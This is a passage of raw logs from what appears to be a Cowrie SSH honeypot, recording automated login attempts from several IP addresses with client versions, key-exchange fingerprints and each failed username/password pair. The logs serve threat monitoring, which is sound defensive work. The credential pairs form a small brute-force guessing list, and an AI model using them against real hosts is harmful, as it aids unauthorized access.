"],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:20.616507Z","src_ip":"103.107.60.45","session":"099e78d41255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:21.502676Z","src_ip":"103.107.60.45","session":"099e78d41255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:22.722483Z","src_ip":"103.107.60.45","session":"099e78d41255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":38600,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ddcb574b1de","protocol":"ssh","message":"New connection: 203.161.39.233:38600 (159.203.135.109:22) [session: 6ddcb574b1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:29.461791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:29.466368Z","src_ip":"203.161.39.233","session":"6ddcb574b1de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:29.539479Z","src_ip":"203.161.39.233","session":"6ddcb574b1de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aa@","message":"login attempt [root/123456aa@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:29.849037Z","src_ip":"203.161.39.233","session":"6ddcb574b1de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:30.922010Z","src_ip":"203.161.39.233","session":"6ddcb574b1de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.26.161","src_port":39512,"dst_ip":"10.17.0.5","dst_port":22,"session":"e57c6a4836c3","protocol":"ssh","message":"New connection: 118.196.26.161:39512 (10.17.0.5:22) [session: e57c6a4836c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:31.051054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:31.055928Z","src_ip":"118.196.26.161","session":"e57c6a4836c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:31.301978Z","src_ip":"118.196.26.161","session":"e57c6a4836c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:32.325072Z","src_ip":"118.196.26.161","session":"e57c6a4836c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:34.131275Z","src_ip":"118.196.26.161","session":"e57c6a4836c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":38622,"dst_ip":"10.17.0.5","dst_port":22,"session":"be0aaa8def6c","protocol":"ssh","message":"New connection: 103.98.149.87:38622 (10.17.0.5:22) [session: be0aaa8def6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:34.916059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:35.017452Z","src_ip":"103.98.149.87","session":"be0aaa8def6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:35.365452Z","src_ip":"103.98.149.87","session":"be0aaa8def6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123qwe","message":"login attempt [root/123123123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:36.848675Z","src_ip":"103.98.149.87","session":"be0aaa8def6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:39.606601Z","src_ip":"103.98.149.87","session":"be0aaa8def6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":57242,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ad1a3bad3f0","protocol":"ssh","message":"New connection: 190.129.122.185:57242 (159.203.135.109:22) [session: 6ad1a3bad3f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:41.746194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:41.751197Z","src_ip":"190.129.122.185","session":"6ad1a3bad3f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:41.912868Z","src_ip":"190.129.122.185","session":"6ad1a3bad3f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:42.591357Z","src_ip":"190.129.122.185","session":"6ad1a3bad3f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:59:43.756569Z","src_ip":"190.129.122.185","session":"6ad1a3bad3f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":46862,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb3ff7380380","protocol":"ssh","message":"New connection: 193.37.70.224:46862 (159.203.135.109:22) [session: bb3ff7380380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:00:04.603495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:00:04.610300Z","src_ip":"193.37.70.224","session":"bb3ff7380380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:00:04.710318Z","src_ip":"193.37.70.224","session":"bb3ff7380380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"animals","message":"login attempt [root/animals] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:00:05.001213Z","src_ip":"193.37.70.224","session":"bb3ff7380380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:00:06.101807Z","src_ip":"193.37.70.224","session":"bb3ff7380380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":47082,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab2921464366","protocol":"ssh","message":"New connection: 103.107.60.45:47082 (10.17.0.5:22) [session: ab2921464366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:00:54.581675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:00:54.586472Z","src_ip":"103.107.60.45","session":"ab2921464366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:00:54.802742Z","src_ip":"103.107.60.45","session":"ab2921464366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"123","message":"login attempt [sammy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:00:55.698008Z","src_ip":"103.107.60.45","session":"ab2921464366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:00:56.917216Z","src_ip":"103.107.60.45","session":"ab2921464366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.161.39.233","src_port":54674,"dst_ip":"159.203.135.109","dst_port":22,"session":"384913fe17e7","protocol":"ssh","message":"New connection: 203.161.39.233:54674 (159.203.135.109:22) [session: 384913fe17e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:04.029801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:04.034722Z","src_ip":"203.161.39.233","session":"384913fe17e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:04.111206Z","src_ip":"203.161.39.233","session":"384913fe17e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:04.425662Z","src_ip":"203.161.39.233","session":"384913fe17e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:05.499978Z","src_ip":"203.161.39.233","session":"384913fe17e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.185","src_port":46890,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd33875f5d43","protocol":"ssh","message":"New connection: 190.129.122.185:46890 (159.203.135.109:22) [session: cd33875f5d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:17.300545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:17.306065Z","src_ip":"190.129.122.185","session":"cd33875f5d43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:17.468376Z","src_ip":"190.129.122.185","session":"cd33875f5d43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rooted","message":"login attempt [root/rooted] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:18.143708Z","src_ip":"190.129.122.185","session":"cd33875f5d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:19.308678Z","src_ip":"190.129.122.185","session":"cd33875f5d43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.61.173","src_port":33374,"dst_ip":"10.17.0.5","dst_port":22,"session":"9658515071f1","protocol":"ssh","message":"New connection: 65.60.61.173:33374 (10.17.0.5:22) [session: 9658515071f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.643260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:01:38.649750Z","src_ip":"65.60.61.173","session":"9658515071f1","protocol":"ssh"}
